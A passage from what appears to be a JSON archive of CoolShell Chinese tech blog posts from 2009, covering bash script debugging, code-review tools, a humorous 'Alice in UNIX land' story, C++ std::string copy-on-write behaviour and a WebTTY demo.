  },
  {
    "path": "blogs/rss2html2markdown/2009-8-31 如何调试bash脚本.md",
    "content": "---\nlayout: post\ntitle: 如何调试bash脚本\ndate: 2009/8/31/ 7:53:40\nupdated: 2009/8/31/ 7:53:40\nstatus: publish\npublished: true\ntype: post\n---\n\n[![如何调试Bash脚本](../wp-content/uploads/2009/08/bash.jpg \"如何调试Bash脚本\")Bash](http://en.wikipedia.org/wiki/Bash) 是Linux操作系统的默认Shell脚本。Shell是用来处理操作系统和用户交互的一个程序。Shell的脚本可以帮助用户自动化地和操作系统进行交互。你也可以理解为一种脚本式的编程。即然有编程，那么，程序的编译器，解释器，调试器就必不可少了，Bash也一样，但在调试方面可能会有一些和编程语言不一样的东西和技术，所以，下面这篇文章主要是说明调试bash脚本的各种技术。\n\n\n#### 跟踪脚本的执行\n\n\n你可以让bash打印出你脚本执行的过程中的所有语句。这很简单，只需要使用bash的-x选项就可以做到，下面让我们来看一下。\n\n\n\n下面的这段脚本，先是输出一个问候语句，然后输出当前的时间：\n\n\n\n```\n\n#!/bin/bash\necho \"Hello $USER,\"\necho \"Today is $(date +'%Y-%m-%d')\"\n\n```\n\n下面让我们使用-x选项来运行这段脚本：\n\n\n\n```\n\n$ bash -x example_script.sh\n+ echo 'Hello chenhao,'\nHello chenhao,\n++ date +%Y-%m-%d\n+ echo 'Today is 2009-08-31'\nToday is 2009-08-31\n\n```\n\n这时，我们可以看到，bash在运行前打印出了每一行命令。而且每行前面的+号表明了嵌套。这样的输出可以让你看到命令执行的顺序并可以让你知道整个脚本的行为。  \n\n**在跟踪里输出行号**\n\n\n在一个很大的脚本中，你会看到很多很多的执行跟踪的输出，阅读起来非常费劲，所以，你可以在每一行前加上文件的行号，这会非常有用。要做到这样，你只需要设置下面的环境变量：\n\n\n\n```\n \nexport PS4='+${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]}: '\n\n```\n\n让我们看看设置上了PS4这个环境变量后会是什么样的输出。\n\n\n \n\n\n\n```\n\n$ bash -x example_script.sh\n+example_script.sh:2:: echo 'Hello chenhao,'\nHello chenhao,\n++example_script.sh:3:: date +%Y-%m-%d\n+example_script.sh:3:: echo 'Today is 2009-08-31'\nToday is 2009-08-31\n\n```\n\n   \n\n**调试部份的脚本**\n\n\n有些时候，你并不想调试整个脚本，你只要调试其中的一部份，那么，你可以在你想要调试的脚本之前，调用“set -x”，结束的时候调用“set +x”就可以了。如下面的脚本所示：\n\n\n \n\n\n\n```\n\n#!/bin/bash\necho \"Hello $USER,\"\nset -x\necho \"Today is $(date %Y-%m-%d)\"\nset +x\n\n```\n\n \n\n\n让我们看看运行起来是啥样？\n\n\n \n\n\n\n```\n\n$ ./example_script.sh\nHello chenhao,\n++example_script.sh:4:: date +%Y-%m-%d\n+example_script.sh:4:: echo 'Today is 2009-08-31'\nToday is 2009-08-31\n+example_script.sh:5:: set +x\n\n```\n\n \n\n\n注意：我们在运行脚本的时候，不需要使用bash -x了。\n\n\n \n\n\n#### 日志输出\n\n\n跟踪日志有时候太多了，多得都受不了，而且，输出的内容很难阅读。一般来说，我们很多时候只关心于条件表达式，变量值，或是函数调用，或是循环等。。在这种情况下，log一些感兴趣的特定的信息，可能会更好。\n\n\n使用log前，我们先写一个函数：\n\n\n\n```\n\n_log() {\n    if [ \"$_DEBUG\" == \"true\" ]; then\n        echo 1>&2 \"$@\"\n    fi\n}\n\n```\n\n \n\n\n于是，你就可以在你的脚本中如下使用：\n\n\n\n```\n \n_log \"Copying files...\"\ncp src/* dst/\n\n```\n\n   \n\n我们可以看到，上面那个\\_log函数，需要检查一个\\_DEBUG 变量，只有这个变量是真，才会真正开发输出日志。这样，你就只需要控制这个开关，而不需要删除你的debug信息。\n\n\n \n\n\n\n```\n \n$ _DEBUG=true ./example_script.sh\n\n```\n\n \n\n\n#### 使用Bash专用调试器\n\n\n如果你在写一个相当复杂的脚本，并且，你需要一个完整的像调试别的语言一样的调试器，那么你可以试着用用这个开源软件—— [bashdb](http://bashdb.sourceforge.net/)， 一个Bash的专用调试器。这个调试器很强大，你想得到的功能，他都有，比如，设置断点，单步跟踪，跳出函数，等等。它的用户接口很想GDB，这是他的[文档](http://bashdb.sourceforge.net/bashdb.html) 。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2987.html)[用脚本实现哄宝宝睡觉(Demo)](https://coolshell.cn/articles/2987.html)\n* [![用脚本实现哄小孩睡觉](../wp-content/uploads/2009/10/baby_linux-150x150.jpg)](https://coolshell.cn/articles/1539.html)[用脚本实现哄小孩睡觉](https://coolshell.cn/articles/1539.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [如何调试bash脚本](https://coolshell.cn/articles/1379.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-4 简单实用的Code Review工具.md",
    "content": "---\nlayout: post\ntitle: 简单实用的Code Review工具\ndate: 2009/8/4/ 9:9:13\nupdated: 2009/8/4/ 9:9:13\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://www.review-board.org/media/rbsite/images/logo.png?1238930581 \"Code Review\"Code Review中文应该译作“代码审查”或是“代码评审”，这是一个流程，当开发人员写好代码后，需要让别人来review一下他的代码，这是一种有效发现BUG的方法。由此，我们可以审查代码的风格、逻辑、思路……，找出问题，以及改进代码。因为这是代码刚刚出炉的时候，所以，这也是代码重构，代码调整，代码修改的最佳时候。所以，Code Review是编码实现中最最重要的一个环节。\n\n\n长时间以来，Code Review需要有一些有效的工具来支持，这样我们就可以更容易，更有效率地来进行代码审查工作。下面是5个开源的代码审查工具，他们可以帮助你更容易地进行这项活动。\n\n\n**1. [Review board](http://www.review-board.org/):**  \n\n[Review board](http://www.review-board.org/) 是一个 基于web 的工具，是由 [django](http://www.djangoproject.com/) 和[python](http://www.python.org/)设计的。 [Review board](http://www.review-board.org/) 可以帮助我们追踪待决代码的改动，并可以让Code-Review更为容易和简练。尽管[Review board](http://www.review-board.org/) 最初被设计在[VMware](http://www.vmware.com/)项目中使用，但现在其足够地通用。当前，其支持这些代码版本管理软件： [SVN](http://subversion.tigris.org/), CVS, [Perforce](http://www.perforce.com/), [Git](http://git-scm.com/), [Bazaar](http://bazaar-vcs.org/), 和[Mercurial](http://www.selenic.com/mercurial/wiki/).\n\n\n\nYahoo 是[review-board](http://www.review-board.org/)的其中一个用户。\n\n\n“[Review board](http://www.review-board.org/) 已经改变了代码评审的方式，其可以强迫高质量的代码标准和风格，并可以成为程序员编程的指导者。每一次，当你访问search.yahoo.com 时，其代码都是使用 [Review board](http://www.review-board.org/)工具Review过的。 We’re great fans of your work!” – Yahoo! Web Search\n\n\n### [Detailed review requests](http://www.review-board.org/media/screenshots/2009/02/02/review-requests.png)\n\n\n[http://www.review-board.org/media/screenshots/2009/02/02/diffviewer_thumb.png](http://www.review-board.org/media/screenshots/2009/02/02/diffviewer.png)\n**2. [Codestriker](http://codestriker.sourceforge.net/):**  \n\n[Codestriker](http://codestriker.sourceforge.net/) 也是一个基于Web的应用，其主要使用 GCI-Perl 脚本支持在线的代码审查。[Codestriker](http://codestriker.sourceforge.net/) 可以集成于CVS, [Subversion](http://subversion.tigris.org/), [ClearCase](http://www-01.ibm.com/software/awdtools/clearcase/), [Perforce](http://www.perforce.com/) 和Visual SourceSafe。并有一些插件可以提供支持其它的源码管理工具。\n\n\nDavid Sitsky 是 [Codestriker](http://codestriker.sourceforge.net/) 的作者，并也是最活跃的开发人员之一。 Jason Remillard 是另一个活路的开发者，并给这个项目提供了最深远最有意义的贡献。大量的程序员贡献他们的代码给 [Codestriker](http://codestriker.sourceforge.net/) 项目，导致了这个项目空前的繁荣。\n\n\nhttp://codestriker.sourceforge.net/viewtopicdetail.png\n\n\n**3. [Groogle](http://groogle.sourceforge.net/):**  \n\n[Groogle](http://groogle.sourceforge.net/) 是一个基于WEB的代码评审工具。 [Groogle](http://groogle.sourceforge.net/) 支持和 [Subversion](http://subversion.tigris.org/) 集成。它主要提供如下的功能：\n\n\n* 各式各样语言的语法高亮。\n* 支持整个版本树的比较。\n* 支持当个文件不同版本的diff功能，并有一个图形的版本树。\n* 邮件通知所有的Reivew的人当前的状态。\n* 认证机制。\n\n\nhttp://sourceforge.net/dbimage.php?id=218190\n\n\n**4. [Rietveld](http://code.google.com/p/rietveld/):**  \n\n[Rietveld](http://code.google.com/p/rietveld/) 由Guido van Rossum 开发（他是Python的创造者，现在是Google的员工），这个工具是基于Mondrian 工具，作者一开始是为了Google 开发的，并且，它在很多方面和[Review board](http://www.review-board.org/) 很像。它也是一个基于Web的应用，并在[Google App Engine](http://code.google.com/appengine/) 上。它使用了目前最流行的Web开发框架 [django](http://www.djangoproject.com/) 并支持 [Subversion](http://subversion.tigris.org/) 。当前，任何一个使用 Google Code 的项目都可以使用 [Rietveld](http://code.google.com/p/rietveld/) 并且使用 [python](http://www.python.org/) [Subversion](http://subversion.tigris.org/) 服务器。当然，它同样支持其它的Subversion服务器。\n\n\nhttp://info-database.csdn.net/Upload/2008-11-13/Reviewboard.jpg \"下一张\"\n\n\n \n\n\n**5. [JCR](http://jcodereview.sourceforge.net/)**  \n\n[JCR](http://jcodereview.sourceforge.net/) 或者叫做 JCodeReview 也是一个基于WEB界面的最初设计给Reivew Java 语言的一个工具。当然，现在，它可以被用于其它的非Java的代码。\n\n\n[JCR](http://jcodereview.sourceforge.net/) 主要想协助：\n\n\n* **审查者**。所有的代码更改都会被高亮，以及大多数语言的语法高亮。Code extracts 可以显示代码评审意见。如果你正在Review Java的代码，你可以点击代码中的类名来查看相关的类的声明。\n* **项目所有者**。可以 轻松创建并配置需要Review的项目，并不需要集成任何的软件配置管理系统（SCM）。\n* **流程信仰者**。 所有的评语都会被记录在数据库中，并且会有状态报告，以及各种各样的统计。\n* **架构师和开发者**。 这个系统也可以让我们查看属于单个文件的评语，这样有利于我们重构代码。\n\n\n[JCR](http://jcodereview.sourceforge.net/) 主要面对的是大型的项目，或是非常正式的代码评审，从这方面看来，他并不像上面的那些工具。\n\n\nhttp://sourceforge.net/projects/jcodereview/screenshots/242251\n\n\n**[Jupiter](http://code.google.com/p/jupiter-eclipse-plugin/)**：最后我们要提一下[Jupiter](http://code.google.com/p/jupiter-eclipse-plugin/)，这是另一个代码review的工具你可以去考虑使用的，它是一个Eclipse IDE 的插件。\n\n\n文章：[来源](http://open-tube.com/easy-code-review-tools/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![如何重构“箭头型”代码](../wp-content/uploads/2017/04/IMG_7411-150x150.jpg)](https://coolshell.cn/articles/17757.html)[如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](https://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\nThe post [简单实用的Code Review工具](https://coolshell.cn/articles/1218.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-11 Oracle的战书！.md",
    "content": "---\nlayout: post\ntitle: Oracle的战书！\ndate: 2009/9/11/ 8:24:47\nupdated: 2009/9/11/ 8:24:47\nstatus: publish\npublished: true\ntype: post\n---\n\n\n<http://www.oracle.com/features/suncustomers.html>![sun customers](../wp-content/uploads/2009/09/sun_customers_lg.gif \"sun customers\")\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/962.html)[【原创】SQL栏目树的代码](https://coolshell.cn/articles/962.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/595.html)[Oracle成功收购Sun](https://coolshell.cn/articles/595.html)\n* [![IBM收购Sun，这是一种什么样的精神？](../wp-content/uploads/2009/03/ibm-potentially-buying-sun-150x150.jpg)](https://coolshell.cn/articles/203.html)[IBM收购Sun，这是一种什么样的精神？](https://coolshell.cn/articles/203.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/786.html)[用TCC可以干些什么？](https://coolshell.cn/articles/786.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1145.html)[程序员犯的非技术错误(Top 5)](https://coolshell.cn/articles/1145.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3512.html)[64位平台C/C++开发注意事项](https://coolshell.cn/articles/3512.html)\nThe post [Oracle的战书！](https://coolshell.cn/articles/1426.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-19 Alice梦游UNIX仙境.md",
    "content": "---\nlayout: post\ntitle: Alice梦游UNIX仙境\ndate: 2009/9/19/ 2:33:0\nupdated: 2009/9/19/ 2:33:0\nstatus: publish\npublished: true\ntype: post\n---\n\n本文来源：<http://www.pma.caltech.edu/Publications/alice.in.unix.land.html>  \n\n（这是一篇1989年的文章）\n\n\nAlice 正在在她的显示器上读着一些信息，她开会怀疑所有的事情并不是应该的那样。“程序太大了，而无法适应内存”，她读到。\n\n\n“一个很奇怪的事情”，她说，“我所做的也就是在启动我的字处理程序会运行了14个TSR（terminate-and-stay-resident 常驻程序）。所有这些程序需要使用4M的内存，我希望我能使用超过640K以上的内存”。\n\n\n就在那个时候，一个小的白色的顾问（一个非常白的顾问）跑过了房间。“哦，我的外套和领带”，他说到，“我要迟到了。并且是每小时150元。”Alice本想对他说点什么，他却跳到了Alice的显示器里并到在操作系统后面消失了。\n\n\n\nAlice 从来没有见过有人可以跳到显示器里，并且肯定不是通过操作系统干。但是，曾有人告诉他，DOS这个操作系统是非常肤浅的。于是，她没有怎么犹豫，Alice也跳了进去。\n\n\nAlice发现她自己在一个明亮的走廊里。她不知道要做什么，她开始向前走，走过了一个拐角后，她发现她的前面有两个小胖子，他们互相搂着对对方的脖子。一个人的领口上绣着“POS”，另一个则是“NEG”。\n\n\n“我知道”，Alice说，“你俩是晶体管”。\n\n\n“是的”，Positive回答到。\n\n\n“你们能帮我吗？”Alice问道。\n\n\n“不能”，Negative回答。\n\n\n“我在找一个白色的顾问”，Alice指着她走过来的方向，“他走的是这条路吗？”Alice继续问道。\n\n\n“不是”，Negative回答到。\n\n\nAlice又指了另一条路。\n\n\n“是的”，Postive回答到。\n\n\n很快，Alice来到了一个很大的棕色的桌前。那个顾问就在那里，名字叫Mad Hacker，并且有一些Alice并不知道的生物围在桌边。在角落里，有一个睡鼠在那熟睡。在桌子上放着一个大的标牌 ，上面写着“UNIX Conference”\n\n\n每一个人除了那只睡鼠都有一个纸杯，纸杯里应该是奶油蛋羹的样子。“错误的佐料”，他们所有人都这么说，并把杯子传递给他们右手边的人，并且优雅地从他们的左边接过杯子。Alice 看着他们重复着这个仪式三到四次后，她也坐到了他们中间。\n\n\n马上，一个很大的癞蛤蟆跳到了他的大腿上，并看着她就好像希望得到Alice的宠爱。“Grep”，它叫到。\n\n\n“别介意”，Mad Hacker解释道，“他只是想查找一些字符串”。\n\n\n“Nroff？” 蛤蟆问到。\n\n\nMad Hacker 给了Alice一个有看似有奶油蛋羹杯子以及一把勺子。“这里”，他问到，“你对这个有什么想法？”\n\n\n“看起来很可爱”，Alice说，“非常甜”。她边说边尝了一勺。“讨厌！”他叫到，“真糟糕，这是什么啊？！”\n\n\n“哦，这只不过是Unix的另一个图形界面”，Hacker回答道。\n\n\nAlice 指着角落里的那只睡鼠说：“他是谁？”\n\n\n“那也是一个操作系统”，Hacker解释道，“我们几乎放弃了去把他唤醒过来”。\n\n\n就在这个时候，坐在睡鼠旁边的一个很大的蓝色的大象站了起来。“女士们，先生们”，他很傲慢地说到，“作为在这里的一个最大的生物，我感到我们必需开明地来看一下……”\n\n\n一个在桌子另一边的年轻的“工作麻雀”愤努地站了起来。大象注意这事，并改变了他的演讲，“……什么是我们下一步的行动”。\n\n\n有一半的生物鞠躬至敬，而另一半的生物偷偷窃笑。这个时候，睡鼠醒过来了，要和这个大象合并。没人有一丁点的惊讶。\n\n\n“我们需要什么”，一只Sun熊宣称，他用他的长甜头舔了舔那个奶油蛋羹说道，“我们需要的是一个像Macintosh那样的调料”。\n\n\n突然，那个白色顾问红着脸跳了起来，“不，不，不！”他尖叫着，“没有人会150元一小时的费用给Macintosh！”\n\n\n“Awk”，青蛙说道。\n\n\n“用户”，Sun熊解释到，“用户们希望的是那种简单到不需要学习的用户接口”。\n\n\n“用户？”Hacker叫到“用户？！你说的是那些秘书，会计，建筑师，以及体力劳动者！”\n\n\n“喔”Sun熊说到，“我得做点什么得让他们把系统切换到UNIX”。\n\n\n“你们是否觉得，”一个正在桌子上打洞的啄木鸟说，“我们一同使用Unix这个名字会是一个问题？我的意思是，这样想的并不只有我一个人。”\n\n\n“也许我们应该试试别的名字”，工作麻雀说，“比如：Brut或Rambo”。\n\n\n“Penix” 一只企鹅说到。\n\n\n“mount”，蛤蟆说，“spawn”。\n\n\nAlice 拍了一下蛤蟆。“nice?” 蛤蟆问到。\n\n\n“但是”，啄木鸟又建议到，“ShrinkWap的问题怎么办？”\n\n\n突然，每一个人都跳了起来，而且都变得活跃起来，挥动着他们的双手大叫着，但只一会，他们又全都坐下来。\n\n\n“现在这个问题解决了”，啄木鸟说，“让我们回到调料的问题上来吧”。\n\n\n于是，桌子边的每个人又采样了一个新的奶油蛋羹，继续说到“错误的调料”，然后把杯子传给右边的人，并从左边的人接过杯子。\n\n\n完全地被搞糊涂了，Alice起身离开了，她正在正在离开的过程中，她听到了身后传来了一个熟悉的声音。\n\n\n“rem”，它说，“edlin”\n\n\nAlice 转过身去，看到了那只蛤蟆，她微笑着。“你总是说着这些古怪发音的单词”，她说，“但至少我知道他们是什么意思”。\n\n\n“chkdsk”， 蛤蟆说到。\n\n\n—–By Lincoln Spector TEXAS COMPUTER CURRENTS SEPTEMBER 1989\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\nThe post [Alice梦游UNIX仙境](https://coolshell.cn/articles/1439.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-19 C++的stdstring的“读时也拷贝”技术！.md",
    "content": "---\nlayout: post\ntitle: C++的std::string的“读时也拷贝”技术！\ndate: 2009/9/19/ 13:19:33\nupdated: 2009/9/19/ 13:19:33\nstatus: publish\npublished: true\ntype: post\n---\n\nC++的std::string的读时也拷贝技术！\n\n\n嘿嘿，你没有看错，我也没有写错，是读时也拷贝技术。什么?我的错，你之前听说写过时才拷贝，嗯，不错的确有这门技术，英文是Copy On Write，简写就是COW,非常’牛’！那么我们就来看看这个’牛’技术的效果吧。\n\n\n我们先编写一段程序  \n\n\n\n\n\n```\n\n#include <string>\n#include <iostream>\n#include <sys/time.h>\n\nstatic long getcurrenttick()\n{\n    long tick ;\n    struct timeval time_val;\n    gettimeofday(&time_val , NULL);\n    tick = time_val.tv_sec * 1000 + time_val.tv_usec / 1000 ;\n    return tick;\n}\n\n\nint main( )\n{\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin =  getcurrenttick();\n    for( int i = 0 ;i< 100 ;++i ) {\n       string the_copy = the_base ;\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n\n```\n\n嗯，一个非常大的字符串，有10M字节的x，并且执行了100此拷贝。编译执行它，非常快，在我的虚拟机甚至不要1个毫秒。\n\n\n现在我们来对这个string加点料！\n\n\n\n```\n\nint main(void) {\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin =  getcurrenttick();\n    for (int i = 0; i < 100; i++) {\n        string the_copy = the_base;\n        the_copy[0] = 'y';\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n\n```\n\n现在我们再编译并执行这断程序，居然需要4~5秒！哇！非常美妙的写时才拷贝技术，性能和功能的完美统一。\n\n\n我们再来看看另外一种情况！\n\n\n\n```\n\nstring original = \"hello\";\nchar & ref = original[0];\nstring clone = original;\nref = 'y';\n\n```\n\n我们生成了一个string，并保留了它首字符的引用，然后复制这个string，修改string中的首字符。因为写操作只是直接的修改了内存中的指定位置，这个string就根本不能感知到有写发生，如果写时才拷贝是不成熟的，那么我们将同时会修改original和clone两个string。那岂不是灾难性的结果？幸好上述问题不会发生。clone的值肯定是没有被修改的。看来COW就是非常的牛！\n\n\n以上都证明了我们的COW技术非常牛！\n\n\n有太阳就有黑暗，这句说是不是有点耳熟？\n\n\n\n```\n\nint main(void) {\n    string the_base(1024 * 1024 * 10, 'x');\n    fprintf(stdout,\"the_base's first char is [%c]\\n\",the_base[0] );\n    long begin =  getcurrenttick();\n    for (int i = 0; i < 100; i++) {\n        string the_copy = the_base;\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n\n```\n\n啊，居然也是4~5秒！你可能在想，我只是做了一个读，没有写嘛，这到底是怎么回事？难道还有读时也拷贝的技术！。\n\n\n不错，为了避免了你通过[]操作符获取string内部指针而直接修改字符串的内容，在你使用了the\\_base[0]后，这个字符串的写时才拷贝技术就失效了。\n\n\nC++标准的确就是这样的，C++标准认为，当你通过迭代器或[]获取到string的内部地址的时候，string并不知道你将是要读还是要写。这是它无法确定，为此，当你获取到内部引用后，为了避免不能捕获你的写操作，它在此时废止了写时才拷贝技术！\n\n\n这样看来我们在使用COW的时候，一定要注意，如果你不需要对string的内部进行修改，那你就千万不要使用通过[]操作符和迭代器去获取字符串的内部地址引用，如果你一定要这么做，那么你就必须要付出代价。当然，string还提供了一些使迭代器和引用失效的方法。比如说push\\_back，等， 你在使用[]之后再使用迭代器之后，引用就有可能失效了。那么你又回到了COW的世界！比如下面的一个例子\n\n\n\n```\n\nint main( )\n{\n    struct timeval time_val;\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin = 0 ;\n    fprintf(stdout,\"the_base's first char is [%c]\\n\",the_base[0] );\n    the_base.push_back('y');\n    begin = getcurrenttick();\n    for( int i = 0 ;i< 100 ;++i ) {\n        string the_copy = the_base ;\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n\n```\n\n一切又恢复了正常！如果对[]返回引用进行了操作又会发生情况呢，有兴趣的朋友可以试试！结果非常令人惊讶。\n\n\n另外：上述例子是在linux环境下编译的，使用STL是GNU的STL。windows上我用的是vs2003，但是非常明显vs2003一点都不支持COW。\n\n\n这篇文章出自<http://ridiculousfish.com/blog/archives/2009/09/17/i-didnt-order-that-so-why-is-it-on-my-bill-episode-2/> 这里，我使用了它的例子。但是我重新自己组织了内容。\n\n\n编写这篇文章的同时，我还参考了耗子的[《标准C＋＋类string的Copy-On-Write技术》](http://blog.csdn.net/haoel/archive/2004/06/23/24058.aspx)一文\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 - CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C++的std::string的“读时也拷贝”技术！](https://coolshell.cn/articles/1443.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-19 WebTTY！太酷了！.md",
    "content": "---\nlayout: post\ntitle: WebTTY！太酷了！\ndate: 2009/9/19/ 2:56:9\nupdated: 2009/9/19/ 2:56:9\nstatus: publish\npublished: true\ntype: post\n---\n\n这真是一件很Cool的事，在Web上操作Linux，请访问下面这个链接：\n\n\n<http://19.testape.com/webtty_page.php>\n\n\n于是你会看到页面中间的红色，一个小操作系统启动了，红色的最下方是一个bash-2.05b#\n\n\n试着输入一下命令吧。\n\n\nbash-2.05b# uname -a  \n\nLinux (none) 2.6.18 #2 Mon Dec 29 19:47:06 UTC 2008 i686 GNU/Linux\n\n\n命令支持的不多，好像只是一个单机版的虚拟机，一但你打开网页时就起动一个。当然，也不排除其完全是假的，因为太简单了，一切都可以fake出来。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/2424.html)[十条不错的编程观点](https://coolshell.cn/articles/2424.html)\n* [![一些有意思的网站和贴子](../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg)](https://coolshell.cn/articles/3480.html)[一些有意思的网站和贴子](https://coolshell.cn/articles/3480.html)\n* [![性能测试应该怎么做？](../wp-content/uploads/2016/07/PerfTest-150x150.png)](https://coolshell.cn/articles/17381.html)[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)\n* 